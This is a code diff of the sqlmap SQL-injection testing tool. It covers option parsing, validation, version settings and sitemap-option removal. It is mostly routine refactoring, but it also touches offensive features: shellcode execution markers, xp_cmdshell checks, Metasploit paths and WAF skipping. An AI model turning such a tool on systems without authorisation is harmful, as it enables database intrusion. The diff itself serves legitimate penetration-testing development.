+                widget = tkinter.Checkbutton(frame, variable=var)
+                widget.var = var
+
+            first = first or widget
+            widget.grid(column=1, row=row, sticky=tkinter.W)
+
+            window._widgets[(option.dest, option.type)] = widget
+
+            default = defaults.get(option.dest)
+            if default:
+                if hasattr(widget, "insert"):
+                    widget.insert(0, default)
+
+            tkinter.Label(frame, text=" %s" % option.help).grid(column=2, row=row, sticky=tkinter.W)
+
+            row += 1
+
+        tkinter.Label(frame).grid(column=0, row=row, sticky=tkinter.W)
+
+    notebook.pack(expand=1, fill="both")
+    notebook.enable_traversal()
+
+    first.focus()
+
+    window.mainloop()

lib/core/option.py

@@ -7,6 +7,7 @@ See the file 'LICENSE' for copying permission
 
 from __future__ import division
 
+import codecs
 import functools
 import glob
 import inspect
@@ -98,6 +99,7 @@ from lib.core.exception import SqlmapSyntaxException
 from lib.core.exception import SqlmapSystemException
 from lib.core.exception import SqlmapUnsupportedDBMSException
 from lib.core.exception import SqlmapUserQuitException
+from lib.core.exception import SqlmapValueException
 from lib.core.log import FORMATTER
 from lib.core.optiondict import optDict
 from lib.core.settings import CODECS_LIST_PAGE
@@ -109,6 +111,7 @@ from lib.core.settings import DEFAULT_TOR_HTTP_PORTS
 from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS
 from lib.core.settings import DEFAULT_USER_AGENT
 from lib.core.settings import DUMMY_URL
+from lib.core.settings import IGNORE_CODE_WILDCARD
 from lib.core.settings import IS_WIN
 from lib.core.settings import KB_CHARS_BOUNDARY_CHAR
 from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET
@@ -132,7 +135,6 @@ from lib.core.update import update
 from lib.parse.configfile import configFileParser
 from lib.parse.payloads import loadBoundaries
 from lib.parse.payloads import loadPayloads
-from lib.parse.sitemap import parseSitemap
 from lib.request.basic import checkCharEncoding
 from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler
 from lib.request.chunkedhandler import ChunkedHandler
@@ -314,7 +316,7 @@ def _setRequestFromFile():
 
             if url is None:
                 errMsg = "specified file '%s' " % requestFile
-                errMsg += "does not contain a valid HTTP request"
+                errMsg += "does not contain a usable HTTP request (with parameters)"
                 raise SqlmapDataException(errMsg)
 
     if conf.secondReq:
@@ -335,24 +337,12 @@ def _setCrawler():
     if not conf.crawlDepth:
         return
 
-    if not any((conf.bulkFile, conf.sitemapUrl)):
+    if not conf.bulkFile:
-        crawl(conf.url)
+        if conf.url:
-    else:
+            crawl(conf.url)
-        if conf.bulkFile:
+        elif conf.requestFile and kb.targets:
-            targets = getFileItems(conf.bulkFile)
+            target = list(kb.targets)[0]
-        else:
+            crawl(target[0], target[2], target[3])
-            targets = parseSitemap(conf.sitemapUrl)
-        for i in xrange(len(targets)):
-            try:
-                target = targets[i]
-                crawl(target)
-
-                if conf.verbose in (1, 2):
-                    status = "%d/%d links visited (%d%%)" % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets)))
-                    dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True)
-            except Exception as ex:
-                errMsg = "problem occurred while crawling at '%s' ('%s')" % (target, getSafeExString(ex))
-                logger.error(errMsg)
 
 def _doSearch():
     """
@@ -390,7 +380,7 @@ def _doSearch():
         links = retrieve()
 
         if kb.targets:
-            infoMsg = "sqlmap got %d results for your " % len(links)
+            infoMsg = "found %d results for your " % len(links)
             infoMsg += "search dork expression, "
 
             if len(links) == len(kb.targets):
@@ -403,7 +393,7 @@ def _doSearch():
             break
 
         else:
-            message = "sqlmap got %d results " % len(links)
+            message = "found %d results " % len(links)
             message += "for your search dork expression, but none of them "
             message += "have GET parameters to test for SQL injection. "
             message += "Do you want to skip to the next result page? [Y/n]"
@@ -437,23 +427,6 @@ def _setBulkMultipleTargets():
         warnMsg = "no usable links found (with GET parameters)"
         logger.warn(warnMsg)
 
-def _setSitemapTargets():
-    if not conf.sitemapUrl:
-        return
-
-    infoMsg = "parsing sitemap '%s'" % conf.sitemapUrl
-    logger.info(infoMsg)
-
-    found = False
-    for item in parseSitemap(conf.sitemapUrl):
-        if re.match(r"[^ ]+\?(.+)", item, re.I):
-            found = True
-            kb.targets.add((item.strip(), None, None, None, None))
-
-    if not found and not conf.forms and not conf.crawlDepth:
-        warnMsg = "no usable links found (with GET parameters)"
-        logger.warn(warnMsg)
-
 def _findPageForms():
     if not conf.forms or conf.crawlDepth:
         return
@@ -465,21 +438,26 @@ def _findPageForms():
     infoMsg = "searching for forms"
     logger.info(infoMsg)
 
-    if not any((conf.bulkFile, conf.googleDork, conf.sitemapUrl)):
+    if not any((conf.bulkFile, conf.googleDork)):
-        page, _, _ = Request.queryPage(content=True)
+        page, _, _ = Request.queryPage(content=True, ignoreSecondOrder=True)
         if findPageForms(page, conf.url, True, True):
             found = True
     else:
         if conf.bulkFile:
             targets = getFileItems(conf.bulkFile)
-        elif conf.sitemapUrl:
-            targets = parseSitemap(conf.sitemapUrl)
         elif conf.googleDork:
             targets = [_[0] for _ in kb.targets]
             kb.targets.clear()
+        else:
+            targets = []
+
         for i in xrange(len(targets)):
             try:
-                target = targets[i]
+                target = targets[i].strip()
+
+                if not re.search(r"(?i)\Ahttp[s]*://", target):
+                    target = "http://%s" % target
+
                 page, _, _ = Request.getPage(url=target.strip(), cookie=conf.cookie, crawling=True, raise404=False)
                 if findPageForms(page, target, False, True):
                     found = True
@@ -1154,11 +1132,11 @@ def _setSafeVisit():
             errMsg = "invalid format of a safe request file"
             raise SqlmapSyntaxException(errMsg)
     else:
-        if not re.search(r"\Ahttp[s]*://", conf.safeUrl):
+        if not re.search(r"(?i)\Ahttp[s]*://", conf.safeUrl):
             if ":443/" in conf.safeUrl:
-                conf.safeUrl = "https://" + conf.safeUrl
+                conf.safeUrl = "https://%s" % conf.safeUrl
             else:
-                conf.safeUrl = "http://" + conf.safeUrl
+                conf.safeUrl = "http://%s" % conf.safeUrl
 
     if (conf.safeFreq or 0) <= 0:
         errMsg = "please provide a valid value (>0) for safe frequency (--safe-freq) while using safe visit features"
@@ -1223,7 +1201,7 @@ def _setHTTPAuthentication():
 
     elif not conf.authType and conf.authCred:
         errMsg = "you specified the HTTP authentication credentials, "
-        errMsg += "but did not provide the type"
+        errMsg += "but did not provide the type (e.g. --auth-type=\"basic\")"
         raise SqlmapSyntaxException(errMsg)
 
     elif (conf.authType or "").lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.NTLM, AUTH_TYPE.PKI):
@@ -1273,8 +1251,8 @@ def _setHTTPAuthentication():
                 from ntlm import HTTPNtlmAuthHandler
             except ImportError:
                 errMsg = "sqlmap requires Python NTLM third-party library "
-                errMsg += "in order to authenticate via NTLM, "
+                errMsg += "in order to authenticate via NTLM. Download from "
-                errMsg += "https://github.com/mullender/python-ntlm"
+                errMsg += "'https://github.com/mullender/python-ntlm'"
                 raise SqlmapMissingDependence(errMsg)
 
             authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr)
@@ -1302,6 +1280,9 @@ def _setHTTPExtraHeaders():
 
                 if header and value:
                     conf.httpHeaders.append((header, value))
+            elif headerValue.startswith('@'):
+                checkFile(headerValue[1:])
+                kb.headersFile = headerValue[1:]
             else:
                 errMsg = "invalid header value: %s. Valid header format is 'name:value'" % repr(headerValue).lstrip('u')
                 raise SqlmapSyntaxException(errMsg)
@@ -1439,7 +1420,10 @@ def _setHTTPTimeout():
     else:
         conf.timeout = 30.0
 
-    socket.setdefaulttimeout(conf.timeout)
+    try:
+        socket.setdefaulttimeout(conf.timeout)
+    except OverflowError as ex:
+        raise SqlmapValueException("invalid value used for option '--timeout' ('%s')" % getSafeExString(ex))
 
 def _checkDependencies():
     """
@@ -1541,6 +1525,13 @@ def _cleanupOptions():
     Cleanup configuration attributes.
     """
 
+    if conf.encoding:
+        try:
+            codecs.lookup(conf.encoding)
+        except LookupError:
+            errMsg = "unknown encoding '%s'" % conf.encoding
+            raise SqlmapValueException(errMsg)
+
     debugMsg = "cleaning up configuration parameters"
     logger.debug(debugMsg)
 
@@ -1562,11 +1553,14 @@ def _cleanupOptions():
         conf.testParameter = []
 
     if conf.ignoreCode:
-        try:
+        if conf.ignoreCode == IGNORE_CODE_WILDCARD:
-            conf.ignoreCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.ignoreCode)]
+            conf.ignoreCode = xrange(0, 1000)
-        except ValueError:
+        else:
-            errMsg = "options '--ignore-code' should contain a list of integer values"
+            try:
-            raise SqlmapSyntaxException(errMsg)
+                conf.ignoreCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.ignoreCode)]
+            except ValueError:
+                errMsg = "options '--ignore-code' should contain a list of integer values or a wildcard value '%s'" % IGNORE_CODE_WILDCARD
+                raise SqlmapSyntaxException(errMsg)
     else:
         conf.ignoreCode = []
 
@@ -1634,16 +1628,13 @@ def _cleanupOptions():
     if conf.fileDest:
         conf.fileDest = ntToPosixSlashes(normalizePath(conf.fileDest))
 
-    if conf.sitemapUrl and not conf.sitemapUrl.lower().startswith("http"):
-        conf.sitemapUrl = "http%s://%s" % ('s' if conf.forceSSL else '', conf.sitemapUrl)
-
     if conf.msfPath:
         conf.msfPath = ntToPosixSlashes(normalizePath(conf.msfPath))
 
     if conf.tmpPath:
         conf.tmpPath = ntToPosixSlashes(normalizePath(conf.tmpPath))
 
-    if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.forms, conf.crawlDepth)):
+    if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth)):
         conf.multipleTargets = True
 
     if conf.optimize:
@@ -1751,10 +1742,22 @@ def _cleanupOptions():
         conf.col = re.sub(r"\s*,\s*", ',', conf.col)
 
     if conf.exclude:
-        conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
+        regex = False
+        if any(_ in conf.exclude for _ in ('+', '*')):
+            try:
+                re.compile(conf.exclude)
+            except re.error:
+                pass
+            else:
+                regex = True
+
+        if not regex:
+            conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
+            conf.exclude = r"\A%s\Z" % '|'.join(re.escape(_) for _ in conf.exclude.split(','))
 
     if conf.binaryFields:
-        conf.binaryFields = re.sub(r"\s*,\s*", ',', conf.binaryFields)
+        conf.binaryFields = conf.binaryFields.replace(" ", "")
+        conf.binaryFields = re.split(PARAMETER_SPLITTING_REGEX, conf.binaryFields)
 
     if any((conf.proxy, conf.proxyFile, conf.tor)):
         conf.disablePrecon = True
@@ -1814,7 +1817,6 @@ def _setConfAttributes():
     conf.path = None
     conf.port = None
     conf.proxyList = None
-    conf.resultsFilename = None
     conf.resultsFP = None
     conf.scheme = None
     conf.tests = []
@@ -1882,6 +1884,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
 
     kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
     kb.dep = None
+    kb.disableHtmlDecoding = False
     kb.dnsMode = False
     kb.dnsTest = None
     kb.docRoot = None
@@ -1905,6 +1908,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.forceWhere = None
     kb.futileUnion = None
     kb.heavilyDynamic = False
+    kb.headersFile = None
     kb.headersFp = {}
     kb.heuristicDbms = None
     kb.heuristicExtendedDbms = None
@@ -1923,14 +1927,16 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.injections = []
     kb.laggingChecked = False
     kb.lastParserStatus = None
+    kb.lastCtrlCTime = None
 
     kb.locks = AttribDict()
-    for _ in ("cache", "connError", "count", "handlers", "index", "io", "limit", "log", "socket", "redirect", "request", "value"):
+    for _ in ("cache", "connError", "count", "handlers", "hint", "index", "io", "limit", "log", "socket", "redirect", "request", "value"):
         kb.locks[_] = threading.Lock()
 
     kb.matchRatio = None
     kb.maxConnectionsFlag = False
     kb.mergeCookies = None
+    kb.multipleCtrlC = False
     kb.negativeLogic = False
     kb.nullConnection = None
     kb.oldMsf = None
@@ -1985,7 +1991,6 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.reduceTests = None
     kb.tlsSNI = {}
     kb.stickyDBMS = False
-    kb.storeCrawlingChoice = None
     kb.storeHashesChoice = None
     kb.suppressResumeInfo = False
     kb.tableFrom = None
@@ -1999,16 +2004,21 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.threadException = False
     kb.tableExistsChoice = None
     kb.uChar = NULL
+    kb.udfFail = False
     kb.unionDuplicates = False
+    kb.webSocketRecvCount = None
     kb.wizardMode = False
     kb.xpCmdshellAvailable = False
 
     if flushAll:
+        kb.checkSitemap = None
         kb.headerPaths = {}
         kb.keywords = set(getFileItems(paths.SQL_KEYWORDS))
+        kb.normalizeCrawlingChoice = None
         kb.passwordMgr = None
         kb.preprocessFunctions = []
         kb.skipVulnHost = None
+        kb.storeCrawlingChoice = None
         kb.tamperFunctions = []
         kb.targets = OrderedSet()
         kb.testedParams = set()
@@ -2197,6 +2207,13 @@ def _mergeOptions(inputOptions, overrideOptions):
         if hasattr(conf, key) and conf[key] is None:
             conf[key] = value
 
+            if conf.unstable:
+                if key in ("timeSec", "retries", "timeout"):
+                    conf[key] *= 2
+
+    if conf.unstable:
+        conf.forcePartial = True
+
     lut = {}
     for group in optDict.keys():
         lut.update((_.upper(), _) for _ in optDict[group])
@@ -2442,6 +2459,13 @@ def _basicOptionValidation():
             errMsg = "invalid regular expression '%s' ('%s')" % (conf.regexp, getSafeExString(ex))
             raise SqlmapSyntaxException(errMsg)
 
+    if conf.paramExclude:
+        try:
+            re.compile(conf.paramExclude)
+        except Exception as ex:
+            errMsg = "invalid regular expression '%s' ('%s')" % (conf.paramExclude, getSafeExString(ex))
+            raise SqlmapSyntaxException(errMsg)
+
     if conf.crawlExclude:
         try:
             re.compile(conf.crawlExclude)
@@ -2461,8 +2485,8 @@ def _basicOptionValidation():
         errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS
         raise SqlmapSyntaxException(errMsg)
 
-    if conf.forms and not any((conf.url, conf.googleDork, conf.bulkFile, conf.sitemapUrl)):
+    if conf.forms and not any((conf.url, conf.googleDork, conf.bulkFile)):
-        errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-g', '-m' or '-x'"
+        errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-g' or '-m'"
         raise SqlmapSyntaxException(errMsg)
 
     if conf.crawlExclude and not conf.crawlDepth:
@@ -2485,6 +2509,10 @@ def _basicOptionValidation():
         errMsg = "option '--csrf-url' requires usage of option '--csrf-token'"
         raise SqlmapSyntaxException(errMsg)
 
+    if conf.csrfMethod and not conf.csrfToken:
+        errMsg = "option '--csrf-method' requires usage of option '--csrf-token'"
+        raise SqlmapSyntaxException(errMsg)
+
     if conf.csrfToken and conf.threads > 1:
         errMsg = "option '--csrf-url' is incompatible with option '--threads'"
         raise SqlmapSyntaxException(errMsg)
@@ -2551,6 +2579,10 @@ def _basicOptionValidation():
         errMsg = "option '--proxy' is incompatible with switch '--ignore-proxy'"
         raise SqlmapSyntaxException(errMsg)
 
+    if conf.alert and conf.alert.startswith('-'):
+        errMsg = "value for option '--alert' must be valid operating system command(s)"
+        raise SqlmapSyntaxException(errMsg)
+
     if conf.timeSec < 1:
         errMsg = "value for option '--time-sec' must be a positive integer"
         raise SqlmapSyntaxException(errMsg)
@@ -2559,7 +2591,7 @@ def _basicOptionValidation():
         errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)"
         raise SqlmapSyntaxException(errMsg)
 
-    if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.liveTest, conf.wizard, conf.dependencies, conf.purge, conf.sitemapUrl, conf.listTampers)):
+    if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.liveTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)):
         errMsg = "option '--crack' should be used as a standalone"
         raise SqlmapSyntaxException(errMsg)
 
@@ -2626,7 +2658,7 @@ def init():
 
     parseTargetDirect()
 
-    if any((conf.url, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.requestFile, conf.googleDork, conf.liveTest)):
+    if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.liveTest)):
         _setHostname()
         _setHTTPTimeout()
         _setHTTPExtraHeaders()
@@ -2641,7 +2673,6 @@ def init():
         _setSafeVisit()
         _doSearch()
         _setBulkMultipleTargets()
-        _setSitemapTargets()
         _checkTor()
         _setCrawler()
         _findPageForms()

lib/core/optiondict.py

@@ -19,7 +19,6 @@ optDict = {
         "sessionFile": "string",
         "googleDork": "string",
         "configFile": "string",
-        "sitemapUrl": "string",
     },
 
     "Request": {
@@ -31,6 +30,7 @@ optDict = {
         "loadCookies": "string",
         "dropSetCookie": "boolean",
         "agent": "string",
+        "mobile": "boolean",
         "randomAgent": "boolean",
         "host": "string",
         "referer": "string",
@@ -60,6 +60,7 @@ optDict = {
         "skipUrlEncode": "boolean",
         "csrfToken": "string",
         "csrfUrl": "string",
+        "csrfMethod": "string",
         "forceSSL": "boolean",
         "chunked": "boolean",
         "hpp": "boolean",
@@ -100,6 +101,7 @@ optDict = {
         "notString": "string",
         "regexp": "string",
         "code": "integer",
+        "smart": "boolean",
         "textOnly": "boolean",
         "titles": "boolean",
     },
@@ -197,10 +199,12 @@ optDict = {
 
     "General": {
         "trafficFile": "string",
+        "answers": "string",
         "batch": "boolean",
         "binaryFields": "string",
         "charset": "string",
         "checkInternet": "boolean",
+        "cleanup": "boolean",
         "crawlDepth": "integer",
         "crawlExclude": "string",
         "csvDel": "string",
@@ -210,6 +214,7 @@ optDict = {
         "flushSession": "boolean",
         "forms": "boolean",
         "freshQueries": "boolean",
+        "googlePage": "integer",
         "harFile": "string",
         "hexConvert": "boolean",
         "outputDir": "string",
@@ -218,27 +223,24 @@ optDict = {
         "repair": "boolean",
         "saveConfig": "string",
         "scope": "string",
+        "skipWaf": "boolean",
         "testFilter": "string",
         "testSkip": "string",
-        "updateAll": "boolean",
+        "webRoot": "string",
     },
 
     "Miscellaneous": {
         "alert": "string",
-        "answers": "string",
         "beep": "boolean",
-        "cleanup": "boolean",
         "dependencies": "boolean",
         "disableColoring": "boolean",
-        "googlePage": "integer",
         "listTampers": "boolean",
-        "mobile": "boolean",
         "offline": "boolean",
         "purge": "boolean",
-        "skipWaf": "boolean",
+        "resultsFile": "string",
-        "smart": "boolean",
         "tmpDir": "string",
-        "webRoot": "string",
+        "unstable": "boolean",
+        "updateAll": "boolean",
         "wizard": "boolean",
         "verbose": "integer",
     },

lib/core/patch.py

@@ -20,6 +20,7 @@ import thirdparty.chardet.universaldetector
 
 from lib.core.common import filterNone
 from lib.core.common import getSafeExString
+from lib.core.common import isDigit
 from lib.core.common import isListLike
 from lib.core.common import readInput
 from lib.core.common import shellExec
@@ -62,6 +63,7 @@ def resolveCrossReferences():
     Place for cross-reference resolution
     """
 
+    lib.core.threads.isDigit = isDigit
     lib.core.threads.readInput = readInput
     lib.core.common.getPageTemplate = getPageTemplate
     lib.core.convert.filterNone = filterNone

lib/core/replication.py

@@ -7,13 +7,13 @@ See the file 'LICENSE' for copying permission
 
 import sqlite3
 
-from extra.safe2bin.safe2bin import safechardecode
 from lib.core.common import getSafeExString
 from lib.core.common import unsafeSQLIdentificatorNaming
 from lib.core.exception import SqlmapConnectionException
 from lib.core.exception import SqlmapGenericException
 from lib.core.exception import SqlmapValueException
 from lib.core.settings import UNICODE_ENCODING
+from lib.utils.safe2bin import safechardecode
 
 class Replication(object):
     """

lib/core/revision.py

@@ -40,9 +40,14 @@ def getRevisionNumber():
             with openFile(filePath, "r") as f:
                 content = getText(f.read())
                 filePath = None
+
                 if content.startswith("ref: "):
-                    filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip()
+                    try:
-                else:
+                        filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip()
+                    except UnicodeError:
+                        pass
+
+                if filePath is None:
                     match = re.match(r"(?i)[0-9a-f]{32}", content)
                     retVal = match.group(0) if match else None
                     break

lib/core/settings.py

@@ -18,7 +18,7 @@ from lib.core.enums import OS
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.3.8.0"
+VERSION = "1.3.12.0"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -29,6 +29,7 @@ DEV_EMAIL_ADDRESS = "[email protected]"
 ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
 GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git"
 GIT_PAGE = "https://github.com/sqlmapproject/sqlmap"
+WIKI_PAGE = "https://github.com/sqlmapproject/sqlmap/wiki/"
 ZIPBALL_PAGE = "https://github.com/sqlmapproject/sqlmap/zipball/master"
 
 # colorful banner
@@ -231,6 +232,9 @@ STDIN_PIPE_DASH = '-'
 # URL used in dummy runs
 DUMMY_URL = "http://foo/bar?id=1"
 
+# Timeout used during initial websocket (pull) testing
+WEBSOCKET_INITIAL_TIMEOUT = 3
+
 # The name of the operating system dependent module imported. The following names have currently been registered: 'posix', 'nt', 'mac', 'os2', 'ce', 'java', 'riscos'
 PLATFORM = os.name
 PYVERSION = sys.version.split()[0]
@@ -240,10 +244,10 @@ IS_WIN = PLATFORM == "nt"
 IS_TTY = os.isatty(sys.stdout.fileno())
 
 # DBMS system databases
-MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb")
+MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB")
 MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema", "sys")
 PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent")
-ORACLE_SYSTEM_DBS = ('ANONYMOUS', 'APEX_030200', 'APEX_PUBLIC_USER', 'APPQOSSYS', 'BI', 'CTXSYS', 'DBSNMP', 'DIP', 'EXFSYS', 'FLOWS_%', 'FLOWS_FILES', 'HR', 'IX', 'LBACSYS', 'MDDATA', 'MDSYS', 'MGMT_VIEW', 'OC', 'OE', 'OLAPSYS', 'ORACLE_OCM', 'ORDDATA', 'ORDPLUGINS', 'ORDSYS', 'OUTLN', 'OWBSYS', 'PM', 'SCOTT', 'SH', 'SI_INFORMTN_SCHEMA', 'SPATIAL_CSW_ADMIN_USR', 'SPATIAL_WFS_ADMIN_USR', 'SYS', 'SYSMAN', 'SYSTEM', 'WKPROXY', 'WKSYS', 'WK_TEST', 'WMSYS', 'XDB', 'XS$NULL')
+ORACLE_SYSTEM_DBS = ("ADAMS", "ANONYMOUS", "APEX_030200", "APEX_PUBLIC_USER", "APPQOSSYS", "AURORA$ORB$UNAUTHENTICATED", "AWR_STAGE", "BI", "BLAKE", "CLARK", "CSMIG", "CTXSYS", "DBSNMP", "DEMO", "DIP", "DMSYS", "DSSYS", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "HR", "IX", "JONES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OC", "OE", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "PAPER", "PERFSTAT", "PM", "SCOTT", "SH", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "TRACESVR", "TSMSYS", "WK_TEST", "WKPROXY", "WKSYS", "WMSYS", "XDB", "XS$NULL")
 SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master")
 ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2")
 FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS")
@@ -251,7 +255,7 @@ MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
 SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
 DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
 HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
-H2_SYSTEM_DBS = ("INFORMATION_SCHEMA")
+H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",)
 INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
 
 MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
@@ -333,6 +337,9 @@ BLANK = "<blank>"
 # String representation for current database
 CURRENT_DB = "CD"
 
+# String representation for current user
+CURRENT_USER = "CU"
+
 # Name of SQLite file used for storing session data
 SESSION_SQLITE_FILE = "session.sqlite"
 
@@ -357,7 +364,10 @@ ERROR_PARSING_REGEXES = (
 META_CHARSET_REGEX = r'(?si)<head>.*<meta[^>]+charset="?(?P<result>[^"> ]+).*</head>'
 
 # Regular expression used for parsing refresh info from meta html headers
-META_REFRESH_REGEX = r'(?si)<head>(?!.*?<noscript.*?</head).*?<meta http-equiv="?refresh"?[^>]+content="?[^">]+url=["\']?(?P<result>[^\'">]+).*</head>'
+META_REFRESH_REGEX = r'(?i)<meta http-equiv="?refresh"?[^>]+content="?[^">]+;\s*(url=)?["\']?(?P<result>[^\'">]+)'
+
+# Regular expression used for parsing Javascript redirect request
+JAVASCRIPT_HREF_REGEX = r'<script>\s*(\w+\.)?location\.href\s*=["\'](?P<result>[^"\']+)'
 
 # Regular expression used for parsing empty fields in tested form data
 EMPTY_FORM_FIELDS_REGEX = r'(&|\A)(?P<result>[^=]+=(&|\Z))'
@@ -375,7 +385,7 @@ WEBSCARAB_SPLITTER = "### Conversation"
 BURP_REQUEST_REGEX = r"={10,}\s+([A-Z]{3,} .+?)\s+={10,}"
 
 # Regex used for parsing XML Burp saved history items
-BURP_XML_HISTORY_REGEX = r'<port>(\d+)</port>.+?<request base64="true"><!\[CDATA\[([^]]+)'
+BURP_XML_HISTORY_REGEX = r'<port>(\d+)</port>.*?<request base64="true"><!\[CDATA\[([^]]+)'
 
 # Encoding used for Unicode data
 UNICODE_ENCODING = "utf8"
@@ -410,6 +420,9 @@ CANDIDATE_SENTENCE_MIN_LENGTH = 10
 # Character used for marking injectable position inside provided data
 CUSTOM_INJECTION_MARK_CHAR = '*'
 
+# Wildcard value that can be used in option --ignore-code
+IGNORE_CODE_WILDCARD = '*'
+
 # Other way to declare injection position
 INJECT_HERE_REGEX = r"(?i)%INJECT[_ ]?HERE%"
 
@@ -540,7 +553,7 @@ BRUTE_TABLE_EXISTS_TEMPLATE = "EXISTS(SELECT %d FROM %s)"
 BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)"
 
 # Data inside shellcodeexec to be filled with random string
-SHELLCODEEXEC_RANDOM_STRING_MARKER = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
+SHELLCODEEXEC_RANDOM_STRING_MARKER = b"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
 
 # Period after last-update to start nagging about the old revision
 LAST_UPDATE_NAGGING_DAYS = 60
@@ -591,6 +604,9 @@ PARSE_HEADERS_LIMIT = 3
 # Step used in ORDER BY technique used for finding the right number of columns in UNION query injections
 ORDER_BY_STEP = 10
 
+# Maximum value used in ORDER BY technique used for finding the right number of columns in UNION query injections
+ORDER_BY_MAX = 1000
+
 # Maximum number of times for revalidation of a character in inference (as required)
 MAX_REVALIDATION_STEPS = 5
 
@@ -718,7 +734,7 @@ MAX_HELP_OPTION_LENGTH = 18
 MAX_CONNECT_RETRIES = 100
 
 # Strings for detecting formatting errors
